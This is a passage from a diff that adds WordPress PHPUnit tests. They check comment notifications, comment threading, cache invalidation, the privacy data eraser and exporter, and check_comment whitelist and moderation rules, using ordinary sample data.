+	 * @ticket 33587
+	 */
+	public function test_wp_new_comment_notify_postauthor_should_not_send_email_when_comment_has_been_marked_as_spam() {
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => 'spam',
+		) );
+
+		$sent = wp_new_comment_notify_postauthor( $c );
+		$this->assertFalse( $sent );
+	}
+
+	/**
+	 * @ticket 35006
+	 */
+	public function test_wp_new_comment_notify_postauthor_should_not_send_email_when_comment_has_been_trashed() {
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => 'trash',
+		) );
+
+		$sent = wp_new_comment_notify_postauthor( $c );
+		$this->assertFalse( $sent );
+	}
+
+	/**
+	 * @ticket 12431
+	 */
+	public function test_wp_new_comment_with_meta() {
+		$c = self::factory()->comment->create( array(
+			'comment_approved' => '1',
+			'comment_meta' => array(
+				'food' => 'taco',
+				'sauce' => 'fire'
+			)
+		) );
+
+		$this->assertEquals( 'fire', get_comment_meta( $c, 'sauce', true ) );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_wp_comment_get_children_should_fill_children() {
+		$c1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c2,
+		) );
+
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c5 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$c6 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c5,
+		) );
+
+		$comment = get_comment( $c1 );
+		$children = $comment->get_children();
+
+		// Direct descendants of $c1.
+		$this->assertEqualSets( array( $c2, $c4 ), array_values( wp_list_pluck( $children, 'comment_ID' ) ) );
+
+		// Direct descendants of $c2.
+		$this->assertEqualSets( array( $c3 ), array_values( wp_list_pluck( $children[ $c2 ]->get_children(), 'comment_ID' ) ) );
+	}
+
+	/**
+	 * @ticket 27571
+	 */
+	public function test_post_properties_should_be_lazyloaded() {
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+
+		$post = get_post( self::$post_id );
+		$comment = get_comment( $c );
+
+		$post_fields = array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_content_filtered', 'post_parent', 'guid', 'menu_order', 'post_type', 'post_mime_type', 'comment_count' );
+
+		foreach ( $post_fields as $pf ) {
+			$this->assertTrue( isset( $comment->$pf ), $pf );
+			$this->assertSame( $post->$pf, $comment->$pf, $pf );
+		}
+	}
+
+
+	/**
+	 * Helper function to set up comment for 761 tests.
+	 *
+	 * @since 4.4.0
+	 * @access public
+	 */
+	public function setup_notify_comment(){
+		/**
+		 * Prevent flood alert from firing.
+		 */
+		add_filter( 'comment_flood_filter', '__return_false' );
+
+		/**
+		 * Set up a comment for testing.
+		 */
+		$post = $this->factory->post->create( array(
+			'post_author' => self::$user_id,
+		) );
+
+		$comment = $this->factory->comment->create( array(
+			'comment_post_ID' => $post,
+		) );
+
+		return array(
+			'post'    => $post,
+			'comment' => $comment,
+		);
+	}
+
+	/**
+	 * @ticket 761
+	 */
+	public function test_wp_notify_moderator_filter_moderation_notify_option_true_filter_false() {
+		$comment_data = $this->setup_notify_comment();
+
+		/**
+		 * Test with moderator notification setting on, filter set to off.
+		 * Should not send a notification.
+		 */
+		update_option( 'moderation_notify', 1 );
+		add_filter( 'notify_moderator', '__return_false' );
+
+		$notification_sent = $this->try_sending_moderator_notification( $comment_data['comment'], $comment_data['post'] );
+
+		$this->assertFalse( $notification_sent, 'Moderator notification setting on, filter set to off' );
+
+		remove_filter( 'notify_moderator', '__return_false' );
+		remove_filter( 'comment_flood_filter', '__return_false' );
+	}
+
+	/**
+	 * @ticket 761
+	 */
+	public function test_wp_notify_moderator_filter_moderation_notify_option_false_filter_true() {
+		$comment_data = $this->setup_notify_comment();
+
+		/**
+		 * Test with moderator notification setting off, filter set to on.
+		 * Should send a notification.
+		 */
+		update_option( 'moderation_notify', 0 );
+		add_filter( 'notify_moderator', '__return_true' );
+
+		$notification_sent = $this->try_sending_moderator_notification( $comment_data['comment'], $comment_data['post'] );
+
+		$this->assertTrue( $notification_sent, 'Moderator notification setting off, filter set to on' );
+
+		remove_filter( 'notify_moderator', '__return_true' );
+		remove_filter( 'comment_flood_filter', '__return_false' );
+	}
+
+	/**
+	 * @ticket 761
+	 */
+	public function test_wp_notify_post_author_filter_comments_notify_option_true_filter_false() {
+
+		$comment_data = $this->setup_notify_comment();
+
+		/**
+		 * Test with author notification setting on, filter set to off.
+		 * Should not send a notification.
+		 */
+		update_option( 'comments_notify', 1 );
+		add_filter( 'notify_post_author', '__return_false' );
+
+		$notification_sent = $this->try_sending_author_notification( $comment_data['comment'], $comment_data['post'] );
+
+		$this->assertFalse( $notification_sent, 'Test with author notification setting on, filter set to off' );
+
+		remove_filter( 'notify_post_author', '__return_false' );
+		remove_filter( 'comment_flood_filter', '__return_false' );
+	}
+
+	/**
+	 * @ticket 761
+	 */
+	public function test_wp_notify_post_author_filter_comments_notify_option_false_filter_true() {
+		$comment_data = $this->setup_notify_comment();
+
+		/**
+		 * Test with author notification setting off, filter set to on.
+		 * Should send a notification.
+		 */
+		update_option( 'comments_notify', 0 );
+		add_filter( 'notify_post_author', '__return_true' );
+
+		$notification_sent = $this->try_sending_author_notification( $comment_data['comment'], $comment_data['post'] );
+
+		$this->assertTrue( $notification_sent, 'Test with author notification setting off, filter set to on' );
+
+		remove_filter( 'notify_post_author', '__return_true' );
+		remove_filter( 'comment_flood_filter', '__return_false' );
+	}
+
+	/**
+	 * Helper function to test moderator notifications.
+	 *
+	 * @since 4.4.0
+	 * @access public
+	 */
+	public function try_sending_moderator_notification( $comment, $post ) {
+
+		// Don't approve comments, triggering notifications.
+		add_filter( 'pre_comment_approved', '__return_false' );
+
+		// Moderators are notified when a new comment is added.
+		$data = array(
+			'comment_post_ID'      => $post,
+			'comment_author'       => 'Comment Author',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+		wp_new_comment( $data );
+
+		// Check to see if a notification email was sent to the moderator `admin@example.org`.
+		if ( isset( $GLOBALS['phpmailer']->mock_sent )
+			&& ! empty( $GLOBALS['phpmailer']->mock_sent )
+			&& WP_TESTS_EMAIL == $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]
+		) {
+			$email_sent_when_comment_added = true;
+			reset_phpmailer_instance();
+		} else {
+			$email_sent_when_comment_added = false;
+		}
+
+		return $email_sent_when_comment_added;
+	}
+
+	/**
+	 * Helper function to test sending author notifications.
+	 *
+	 * @since 4.4.0
+	 * @access public
+	 */
+	public function try_sending_author_notification( $comment, $post ) {
+
+		// Approve comments, triggering notifications.
+		add_filter( 'pre_comment_approved', '__return_true' );
+
+		// Post authors possibly notified when a comment is approved on their post.
+		wp_set_comment_status( $comment, 'approve' );
+
+		// Check to see if a notification email was sent to the post author `test@test.com`.
+		if ( isset( $GLOBALS['phpmailer']->mock_sent )
+			&& ! empty( $GLOBALS['phpmailer']->mock_sent )
+			&& 'test@test.com' == $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]
+		) {
+			$email_sent_when_comment_approved = true;
+		} else {
+			$email_sent_when_comment_approved = false;
+		}
+		reset_phpmailer_instance();
+
+		// Post authors are notified when a new comment is added to their post.
+		$data = array(
+			'comment_post_ID'      => $post,
+			'comment_author'       => 'Comment Author',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+		wp_new_comment( $data );
+
+		// Check to see if a notification email was sent to the post author `test@test.com`.
+		if ( isset( $GLOBALS['phpmailer']->mock_sent ) &&
+		     ! empty( $GLOBALS['phpmailer']->mock_sent ) &&
+		     'test@test.com' == $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0] ) {
+			$email_sent_when_comment_added = true;
+			reset_phpmailer_instance();
+		} else {
+			$email_sent_when_comment_added = false;
+		}
+
+		return $email_sent_when_comment_approved || $email_sent_when_comment_added;
+	}
+
+	public function test_close_comments_for_old_post() {
+		update_option( 'close_comments_for_old_posts', true );
+		// Close comments more than one day old.
+		update_option( 'close_comments_days_old', 1 );
+
+		$old_date = strtotime( '-25 hours' );
+		$old_post_id = self::factory()->post->create( array( 'post_date' => strftime( '%Y-%m-%d %H:%M:%S', $old_date ) ) );
+
+		$old_post_comment_status = _close_comments_for_old_post( true, $old_post_id );
+		$this->assertFalse( $old_post_comment_status );
+
+		$new_post_comment_status = _close_comments_for_old_post( true, self::$post_id );
+		$this->assertTrue( $new_post_comment_status );
+	}
+
+	public function test_close_comments_for_old_post_undated_draft() {
+		$draft_id = self::factory()->post->create( array( 'post_status' => 'draft', 'post_type' => 'post' ) );
+		$draft_comment_status = _close_comments_for_old_post( true, $draft_id );
+
+		$this->assertTrue( $draft_comment_status );
+	}
+
+	/**
+	 * @ticket 35276
+	 */
+	public function test_wp_update_comment_author_id_and_agent() {
+
+		$default_data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_agent'        => 'WRONG_AGENT',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$comment_id = wp_new_comment( $default_data );
+
+		// Confirm that the IP and Agent are correct on initial save.
+		$save = get_comment( $comment_id );
+		$this->assertSame( $default_data['comment_author_IP'], $save->comment_author_IP );
+		$this->assertSame( $default_data['comment_agent'], $save->comment_agent );
+
+		// Update the comment.
+		wp_update_comment( array(
+			'comment_ID'        => $comment_id,
+			'comment_author_IP' => '111.111.1.1',
+			'comment_agent'     => 'SHIELD_AGENT',
+		) );
+
+		// Retrieve and check the new values.
+		$updated = get_comment( $comment_id );
+		$this->assertSame( '111.111.1.1', $updated->comment_author_IP );
+		$this->assertSame( 'SHIELD_AGENT', $updated->comment_agent );
+	}
+
+	public function test_wp_get_comment_fields_max_lengths() {
+		$expected = array(
+			'comment_author'       => 245,
+			'comment_author_email' => 100,
+			'comment_author_url'   => 200,
+			'comment_content'      => 65525,
+		);
+
+		$lengths = wp_get_comment_fields_max_lengths();
+
+		foreach ( $lengths as $field => $length ) {
+			$this->assertSame( $expected[ $field ], $length );
+		}
+	}
+
+	/**
+	 * The `wp_comments_personal_data_eraser()` function should erase user's comments.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_comments_personal_data_eraser() {
+
+		$post_id = self::factory()->post->create();
+		$user_id = self::factory()->user->create();
+
+		$args       = array(
+			'user_id'              => $user_id,
+			'comment_post_ID'      => $post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_agent'        => 'COMMENT_AGENT',
+			'comment_content'      => 'Comment Content',
+		);
+		$comment_id = self::factory()->comment->create( $args );
+
+		wp_comments_personal_data_eraser( $args['comment_author_email'] );
+
+		$comment = get_comment( $comment_id );
+
+		$actual = array(
+			'comment_ID'           => $comment->comment_ID,
+			'user_id'              => $comment->user_id,
+			'comment_author'       => $comment->comment_author,
+			'comment_author_email' => $comment->comment_author_email,
+			'comment_author_url'   => $comment->comment_author_url,
+			'comment_author_IP'    => $comment->comment_author_IP,
+			'comment_date'         => $comment->comment_date,
+			'comment_date_gmt'     => $comment->comment_date_gmt,
+			'comment_agent'        => $comment->comment_agent,
+			'comment_content'      => $comment->comment_content,
+		);
+
+		$expected = array(
+			'comment_ID'           => (string) $comment_id,
+			'user_id'              => '0', // Anonymized.
+			'comment_author'       => 'Anonymous', // Anonymized.
+			'comment_author_email' => '', // Anonymized.
+			'comment_author_url'   => '', // Anonymized.
+			'comment_author_IP'    => '192.168.0.0', // Anonymized.
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_date_gmt'     => '2018-04-14 17:20:00',
+			'comment_agent'        => '', // Anonymized.
+			'comment_content'      => 'Comment Content',
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_eraser()` function's output on an empty first page.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_comments_personal_data_eraser_empty_first_page_output() {
+
+		$actual   = wp_comments_personal_data_eraser( 'nocommentsfound@local.host' );
+		$expected = array(
+			'items_removed'  => false,
+			'items_retained' => false,
+			'messages'       => array(),
+			'done'           => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_eraser()` function's output, for the non-empty first page.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_comments_personal_data_eraser_non_empty_first_page_output() {
+
+		$post_id = self::factory()->post->create();
+		$args    = array(
+			'comment_post_ID'      => $post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_agent'        => 'COMMENT_AGENT',
+			'comment_content'      => 'Comment Content',
+		);
+		self::factory()->comment->create( $args );
+
+		$actual   = wp_comments_personal_data_eraser( $args['comment_author_email'] );
+		$expected = array(
+			'items_removed'  => true,
+			'items_retained' => false,
+			'messages'       => array(),
+			'done'           => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_eraser()` function's output, for an empty second page.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_comments_personal_data_eraser_empty_second_page_output() {
+
+		$post_id = self::factory()->post->create();
+		$args    = array(
+			'comment_post_ID'      => $post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_agent'        => 'COMMENT_AGENT',
+			'comment_content'      => 'Comment Content',
+		);
+		self::factory()->comment->create( $args );
+
+		$actual   = wp_comments_personal_data_eraser( $args['comment_author_email'], 2 );
+		$expected = array(
+			'items_removed'  => false,
+			'items_retained' => false,
+			'messages'       => array(),
+			'done'           => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_anonymize_comment` filter, to prevent comment anonymization.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_anonymize_comment_filter_to_prevent_comment_anonymization() {
+
+		$post_id    = self::factory()->post->create();
+		$args       = array(
+			'comment_post_ID'      => $post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_agent'        => 'COMMENT_AGENT',
+			'comment_content'      => 'Comment Content',
+		);
+		$comment_id = self::factory()->comment->create( $args );
+
+		add_filter( 'wp_anonymize_comment', '__return_false' );
+		$actual = wp_comments_personal_data_eraser( $args['comment_author_email'] );
+		remove_filter( 'wp_anonymize_comment', '__return_false' );
+
+		$message = sprintf( 'Comment %d contains personal data but could not be anonymized.', $comment_id );
+
+		$expected = array(
+			'items_removed'  => false,
+			'items_retained' => true,
+			'messages'       => array( $message ),
+			'done'           => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_anonymize_comment` filter, to prevent comment anonymization, with a custom message.
+	 *
+	 * @group privacy
+	 * @ticket 43442
+	 */
+	public function test_wp_anonymize_comment_filter_to_prevent_comment_anonymization_with_custom_message() {
+
+		$post_id    = self::factory()->post->create();
+		$args       = array(
+			'comment_post_ID'      => $post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-04-14 17:20:00',
+			'comment_agent'        => 'COMMENT_AGENT',
+			'comment_content'      => 'Comment Content',
+		);
+		$comment_id = self::factory()->comment->create( $args );
+
+		add_filter( 'wp_anonymize_comment', array( $this, 'wp_anonymize_comment_custom_message' ), 10, 3 );
+		$actual = wp_comments_personal_data_eraser( $args['comment_author_email'] );
+		remove_filter( 'wp_anonymize_comment', array( $this, 'wp_anonymize_comment_custom_message' ) );
+
+		$message = sprintf( 'Some custom message for comment %d.', $comment_id );
+
+		$expected = array(
+			'items_removed'  => false,
+			'items_retained' => true,
+			'messages'       => array( $message ),
+			'done'           => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Callback for the `wp_anonymize_comment` filter.
+	 *
+	 * @param  bool|string $anonymize          Whether to apply the comment anonymization (bool).
+	 *                                         Custom prevention message (string). Default true.
+	 * @param  WP_Comment  $comment            WP_Comment object.
+	 * @param  array       $anonymized_comment Anonymized comment data.
+	 * @return string
+	 */
+	public function wp_anonymize_comment_custom_message( $anonymize, $comment, $anonymized_comment ) {
+		return sprintf( 'Some custom message for comment %d.', $comment->comment_ID );
+	}
+
+	public function test_update_should_invalidate_comment_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array( 'comment_author' => 'Foo' ) );
+
+		$comment = get_comment( $c );
+		$this->assertSame( 'Foo', $comment->comment_author );
+
+		wp_update_comment( array(
+			'comment_ID' => $c,
+			'comment_author' => 'Bar',
+		) );
+
+		$comment = get_comment( $c );
+
+		$this->assertSame( 'Bar', $comment->comment_author );
+	}
+
+	public function test_trash_should_invalidate_comment_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create();
+
+		$comment = get_comment( $c );
+
+		wp_trash_comment( $c );
+
+		$comment = get_comment( $c );
+
+		$this->assertSame( 'trash', $comment->comment_approved );
+	}
+
+	public function test_untrash_should_invalidate_comment_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create();
+		wp_trash_comment( $c );
+
+		$comment = get_comment( $c );
+		$this->assertSame( 'trash', $comment->comment_approved );
+
+		wp_untrash_comment( $c );
+
+		$comment = get_comment( $c );
+
+		$this->assertSame( '1', $comment->comment_approved );
+	}
+
+	public function test_spam_should_invalidate_comment_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create();
+
+		$comment = get_comment( $c );
+
+		wp_spam_comment( $c );
+
+		$comment = get_comment( $c );
+
+		$this->assertSame( 'spam', $comment->comment_approved );
+	}
+
+	public function test_unspam_should_invalidate_comment_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create();
+		wp_spam_comment( $c );
+
+		$comment = get_comment( $c );
+		$this->assertSame( 'spam', $comment->comment_approved );
+
+		wp_unspam_comment( $c );
+
+		$comment = get_comment( $c );
+
+		$this->assertSame( '1', $comment->comment_approved );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_exporter()` function.
+	 *
+	 * @group privacy
+	 * @ticket 43440
+	 */
+	public function test_wp_comments_personal_data_exporter() {
+		$args = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_agent'        => 'SOME_AGENT',
+			'comment_date'         => '2018-03-28 20:05:00',
+			'comment_content'      => 'Comment',
+		);
+
+		$comment_id = self::factory()->comment->create( $args );
+
+		$actual   = wp_comments_personal_data_exporter( $args['comment_author_email'] );
+		$expected = $args;
+
+		$this->assertTrue( $actual['done'] );
+
+		// Number of exported comments.
+		$this->assertSame( 1, count( $actual['data'] ) );
+
+		// Number of exported comment properties.
+		$this->assertSame( 8, count( $actual['data'][0]['data'] ) );
+
+		// Exported group.
+		$this->assertSame( 'comments', $actual['data'][0]['group_id'] );
+		$this->assertSame( 'Comments', $actual['data'][0]['group_label'] );
+
+		// Exported comment properties.
+		$this->assertSame( $expected['comment_author'], $actual['data'][0]['data'][0]['value'] );
+		$this->assertSame( $expected['comment_author_email'], $actual['data'][0]['data'][1]['value'] );
+		$this->assertSame( $expected['comment_author_url'], $actual['data'][0]['data'][2]['value'] );
+		$this->assertSame( $expected['comment_author_IP'], $actual['data'][0]['data'][3]['value'] );
+		$this->assertSame( $expected['comment_agent'], $actual['data'][0]['data'][4]['value'] );
+		$this->assertSame( $expected['comment_date'], $actual['data'][0]['data'][5]['value'] );
+		$this->assertSame( $expected['comment_content'], $actual['data'][0]['data'][6]['value'] );
+		$this->assertSame( esc_html( get_comment_link( $comment_id ) ), strip_tags( $actual['data'][0]['data'][7]['value'] ) );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_exporter()` function for no comments found.
+	 *
+	 * @group privacy
+	 * @ticket 43440
+	 */
+	public function test_wp_comments_personal_data_exporter_no_comments_found() {
+
+		$actual = wp_comments_personal_data_exporter( 'nocommentsfound@local.host' );
+
+		$expected = array(
+			'data' => array(),
+			'done' => true,
+		);
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_exporter()` function for an empty comment property.
+	 *
+	 * @group privacy
+	 * @ticket 43440
+	 */
+	public function test_wp_comments_personal_data_exporter_empty_comment_prop() {
+		$args = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-03-28 20:05:00',
+			'comment_agent'        => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$c = self::factory()->comment->create( $args );
+
+		$actual = wp_comments_personal_data_exporter( $args['comment_author_email'] );
+
+		$this->assertTrue( $actual['done'] );
+
+		// Number of exported comments.
+		$this->assertSame( 1, count( $actual['data'] ) );
+
+		// Number of exported comment properties.
+		$this->assertSame( 7, count( $actual['data'][0]['data'] ) );
+	}
+
+	/**
+	 * Testing the `wp_comments_personal_data_exporter()` function with an empty second page.
+	 *
+	 * @group privacy
+	 * @ticket 43440
+	 */
+	public function test_wp_comments_personal_data_exporter_empty_second_page() {
+		$args = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_email' => 'personal@local.host',
+			'comment_author_url'   => 'https://local.host/',
+			'comment_author_IP'    => '192.168.0.1',
+			'comment_date'         => '2018-03-28 20:05:00',
+			'comment_agent'        => 'SOME_AGENT',
+			'comment_content'      => 'Comment',
+		);
+
+		$c = self::factory()->comment->create( $args );
+
+		$actual = wp_comments_personal_data_exporter( $args['comment_author_email'], 2 );
+
+		$this->assertTrue( $actual['done'] );
+
+		// Number of exported comments.
+		$this->assertSame( 0, count( $actual['data'] ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/checkComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/checkComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/checkComment.php	(revision 56912)
@@ -0,0 +1,175 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_CheckComment extends WP_UnitTestCase {
+	public function test_should_return_true_when_comment_whitelist_is_disabled() {
+		$author       = 'BobtheBuilder';
+		$author_email = 'bob@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'Can we fix it? Yes, we can (thanks to Wendy).';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'comment_whitelist', 0 );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertTrue( $results );
+	}
+
+	public function test_should_return_false_when_comment_whitelist_is_enabled_and_author_does_not_have_approved_comment() {
+		$author       = 'BobtheBuilder';
+		$author_email = 'bob@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'Can we fix it? Yes, we can (thanks to Wendy).';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'comment_whitelist', 1 );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertFalse( $results );
+
+	}
+
+	public function test_should_return_true_when_comment_whitelist_is_enabled_and_author_has_approved_comment() {
+		$post_id = self::factory()->post->create();
+		$prev_args = array(
+			'comment_post_ID'      => $post_id,
+			'comment_content'      => 'Can we build it?',
+			'comment_approved'     => 0,
+			'comment_author_email' => 'bob@example.com',
+			'comment_author'       => 'BobtheBuilder',
+		);
+		$prev_comment_id = self::factory()->comment->create( $prev_args );
+
+		update_option( 'comment_whitelist', 1 );
+
+		$author       = 'BobtheBuilder';
+		$author_email = 'bob@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'Can we fix it? Yes, we can (thanks to Wendy).';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertFalse( $results );
+
+		// Approve the previous comment.
+		wp_update_comment( array(
+			'comment_ID'       => $prev_comment_id,
+			'comment_approved' => 1,
+		) );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertTrue( $results );
+	}
+
+	public function test_should_return_false_when_content_matches_moderation_key() {
+		update_option( 'comment_whitelist', 0 );
+
+		$author       = 'WendytheBuilder';
+		$author_email = 'wendy@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'Has anyone seen Scoop?';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'moderation_keys',"foo\nbar\nscoop" );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertFalse( $results );
+	}
+
+	public function test_should_return_true_when_content_does_not_match_moderation_keys() {
+		update_option( 'comment_whitelist', 0 );
+
+		$author       = 'WendytheBuilder';
+		$author_email = 'wendy@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'Has anyone seen Scoop?';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'moderation_keys',"foo\nbar" );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertTrue( $results );
+	}
+
+	public function test_should_return_false_when_link_count_exceeds_comment_max_length_setting() {
+		update_option( 'comment_whitelist', 0 );
+
+		$author       = 'BobtheBuilder';
+		$author_email = 'bob@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'This is a comment with <a href="http://example.com">multiple</a> <a href="http://bob.example.com">links</a>.';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'comment_max_links', 2 );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertFalse( $results );
+	}
+
+	public function test_should_return_true_when_link_count_does_not_exceed_comment_max_length_setting() {
+		update_option( 'comment_whitelist', 0 );
+
+		$author       = 'BobtheBuilder';
+		$author_email = 'bob@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'This is a comment with <a href="http://example.com">multiple</a> <a href="http://bob.example.com">links</a>.';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+		$comment_type = '';
+
+		update_option( 'comment_max_links', 3 );
+		$results = check_comment( $author, $author_email, $author_url, $comment, $author_ip, $user_agent, $comment_type );
+		$this->assertTrue( $results );
+	}
+
+	/**
+	 * @ticket 28603
+	 */
+	public function test_should_return_true_when_comment_whitelist_is_enabled_and_user_has_previously_approved_comments_with_different_email() {
+		$subscriber_id = $this->factory()->user->create( array(
+			'role' => 'subscriber',
+			'email' => 'sub@example.com',
+		) );
+
+		// Make sure comment author has an approved comment.
+		$this->factory->comment->create( array( 'user_id' => $subscriber_id, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'sub@example.com' ) );
+
+		$subscriber_user = new WP_User( $subscriber_id );
+		$subscriber_user->user_email = 'newsub@example.com';
+
+		wp_update_user( $subscriber_user );
+
+		update_option( 'comment_whitelist', 1 );
+
+		$results = check_comment( 'foo', 'newsub@example.com', 'http://example.com', 'This is a comment.', '66.155.40.249', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0', 'comment', 4 );
+		$this->assertTrue( $results );
+	}
+
+	/**
+	 * @ticket 28603
+	 */
+	public function test_should_return_false_when_comment_whitelist_is_enabled_and_user_does_not_have_a_previously_approved_comment_with_any_email() {
+		$subscriber_id = $this->factory()->user->create( array(
+			'role' => 'subscriber',
+			'email' => 'zig@example.com',
+		) );
+
+		$subscriber_user = new WP_User( $subscriber_id );
+		$subscriber_user->user_email = 'zag@example.com';
+
+		wp_update_user( $subscriber_user );
+
+		update_option( 'comment_whitelist', 1 );
+
